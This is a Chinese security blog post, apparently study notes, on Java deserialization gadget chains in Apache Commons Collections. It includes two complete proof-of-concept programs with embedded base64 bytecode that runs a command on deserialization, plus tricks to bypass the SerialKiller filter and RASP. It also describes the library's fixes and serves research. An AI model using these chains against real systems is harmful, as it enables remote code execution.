java安全漫谈观后感(十一)-加强篇
前言
补充一些p神没讲到,也非ysoserial官方,但是师傅们公开的gadget思路
CommonsCollections8
wh1t3p1g师傅ysoserial里的这个,是navalorenzo师傅研究的,看代码感觉和CC2,CC4差不多,都是基于TransformingComparator.compare()
触发transform()
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429153717962.png)
直接debug看调用链
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429154316779.png)
梳理核心部分:
可以看到除了反序列化起点变成了TreeBag
其他和CC2,CC4没有大的区别
分析
首先看到TreeBag.readObject
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429155248820.png)
comp是个Comparator
,是通过in.readObject
拿到的,所以我们序列化之前的数据需要指定好Comparator
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429155404370.png)
TreeBag的构造函数支持传入Comparator
,显然可以new一个Comparator
是TransformingComparator
的TreeBag
TreeBag.readObject
中还会触发到super.doReadObject()
,跟入看看
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429155742797.png)
会进入TreeMap.put
方法
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429155848279.png)
一进来就会调用TreeMap.compare
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429155921654.png)
如果comparator不是空,就会触发comparator.compare
,即TransformingComparator.compare()
。显然只要咱们给TreeBag指定好comparator就可以满足条件。
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429155958228.png)
后面的都是老套路时间。
CommonsCollections9
wh1t3p1g师傅的CC9是CC6+CC7,前面讲过了,这里忽略。
梅子酒师傅的CC9,找到一个DefaultedMap作用和LazyMap
差不多,需要Commons Collections 3.2及以上版本。
看看师傅的代码
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429162758562.png)
就是CC5把LazyMap
换成了DefaultedMap
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429163140815.png)
可以看看DefaultedMap.get
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429163305988.png)
和LazyMap.get
非常类似,都可以触发transform(key)
理论上用到了LazyMap
的链都可以用DefaultedMap替换。有兴趣可以试一试。
核心利用链
CommonsCollections11&12
天下大木头师傅的文章CommonsCollections11 分析讲的gadget就是wh1t3p1g大师傅的CC10
c0ny1大师傅的CC11是CC5的无数组实现
清水师傅的CommonsCollections12和前面讲的CCK3一样
以上内容的实现都在前面文章中提到过,不做过多叙述了。
在知识星球看到Rickyღ 师傅分享的一个trick,可以用于ConstantTransformer
被禁用了的情景,能起到类似ConstantTransformer
的作用。
看看MapTransformer
的实现
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220429234944348.png)
MapTransformer
的构造函数是private修饰,但是可以用getInstance()
做实例化。
关键的transform()
方法可以返回Map中传入的这个key对应的value,例如我们这里Map中的value是TrAXFilter.class
,则会返回TrAXFilter这个Class。
比如随便用一个HashMap放入一个key,对应的value是TrAXFilter.class
1
| hashmap.put("com.xxxbank",TrAXFilter.class);
|
前面学习无数组CC构造时提到了LazyMap.get(key)
可以传递key参数,即只要我们TiedMapEntry
的key设置为com.xxxbank则可以给MapTransformer.transform(input)
传递一个input的值。
基于能全版本用的CC3改一个用MapTransformer
的实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public class CC3Maptest { public static void main(String[] args) throws Exception { byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxieXRlY29kZXMvRXZpbFRlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABZFdmlsVGVtcGxhdGVzSW1wbC5qYXZhDAAcAB0HAC8MADAAMQEAE0hlbGxvIFRlbXBsYXRlc0ltcGwHADIMADMANAcANQwANgA3AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAOAA5AQAbYnl0ZWNvZGVzL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAADwAEABAADAARABUAEgAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg".getBytes()); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "2333"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
HashMap hashmap=new HashMap(); hashmap.put("com.xxxbank",TrAXFilter.class); Transformer maptransformer= MapTransformer.getInstance(hashmap); Transformer[] fakeTransformers = new Transformer[] {}; Transformer[] transformers = new Transformer[]{ maptransformer, new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj}) }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap= LazyMap.decorate(innerMap,transformerChain); TiedMapEntry tme=new TiedMapEntry(outerMap, "com.xxxbank"); Map expMap = new HashMap(); expMap.put(tme, "xxxbank"); outerMap.remove("com.xxxbank");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430001049273.png)
Rickyღ 师傅分享的代码里用了DefaultedMap
替代LayMap.get()
,构造了一条基于相对冷门的类实现的CC链。
调用链
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430011430882.png)
核心部分
Y4tacker师傅分享的一个trick,绕过了SerialKiller
看看FactoryTransformer
代码
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430002445142.png)
核心的transform()
方法可以触发this.iFactory.create()
,既可以触发任意Factory
的create()
方法。
看看实现Factory
的几个类
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430002716213.png)
Y4tacker师傅发现
org.apache.commons.collections.functors.ConstantFactory
可以代替ConstantTransformer
起到一样的效果
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430003044739.png)
org.apache.commons.collections.functors.InstantiateFactory
可以代替InstantiateTransformer
起到一样的效果
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430002838578.png)
配合构造InstantiateFactory
的构造函数可以传入TrAXFilter.Class
给this.Constructor
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430003831716.png)
基于CCK1改改,可以得到一个能过SerialKiller的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| public class CCFactorytest { public static void main(String[] args) throws Exception { byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxieXRlY29kZXMvRXZpbFRlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABZFdmlsVGVtcGxhdGVzSW1wbC5qYXZhDAAcAB0HAC8MADAAMQEAE0hlbGxvIFRlbXBsYXRlc0ltcGwHADIMADMANAcANQwANgA3AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAOAA5AQAbYnl0ZWNvZGVzL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAADwAEABAADAARABUAEgAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg".getBytes()); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "2333"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory ins=new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class},new Object[]{obj}); ConstantFactory constantFactory=new ConstantFactory(1); Transformer itransformer = new FactoryTransformer(constantFactory); Map innerMap = new HashMap(); Map outerMap= LazyMap.decorate(innerMap,itransformer); TiedMapEntry tme=new TiedMapEntry(outerMap, "com.xxxbank"); Map expMap = new HashMap(); expMap.put(tme, "xxxbank"); outerMap.clear();
Field f = FactoryTransformer.class.getDeclaredField("iFactory"); f.setAccessible(true); f.set(itransformer, ins);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430010621010.png)
Y4tacker师傅给的代码用了ConstantTransformer
,反射的点在修改LazyMap
的factory
属性,可以再优化一下,用ConstantFactory
替换ConstantTransformer
,反射点在FactoryTransformer
的iFactory
属性,这样就可以完全不依赖前面学习到的Transformer实现gadget。在cc3.2以上还可以把LazyMap换成DefaultedMap,对于绕rasp一类的防护效果感觉会更好。
调用链
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430010706638.png)
核心部分
修复
commons-collections3.2.2的修复是org.apache.commons.collections.functors.FunctorUtils
新增checkUnsafeSerialization
,除非System属性设置了org.apache.commons.collections.enableUnsafeSerialization
为true,否则这几个危险的类默认不支持反序列化:CloneTransformer
, ForClosure
, InstantiateFactory
, InstantiateTransformer
, InvokerTransformer
, PrototypeCloneFactory
, PrototypeSerializationFactory
, WhileClosure
-CC%E5%8A%A0%E5%BC%BA%E7%AF%87/image-20220430212051034.png)
上面CC链触发代码执行的关键InstantiateFactory
, InstantiateTransformer
, InvokerTransformer
都被干掉了,所以上述内容都没法在commons-collections3.2.2利用。
在commons-collections4.1更狠,直接去掉了上面这些危险类的序列化接口。
思维导图
cc链的gadget chain时间久了容易忘记,尝试画了个图帮助记忆,第一次画图,和xmind配合得不是很好,师傅们将就看。(非官方的链子都尽量用我能找到的原作者命名,有问题的地方欢迎各位师傅指正)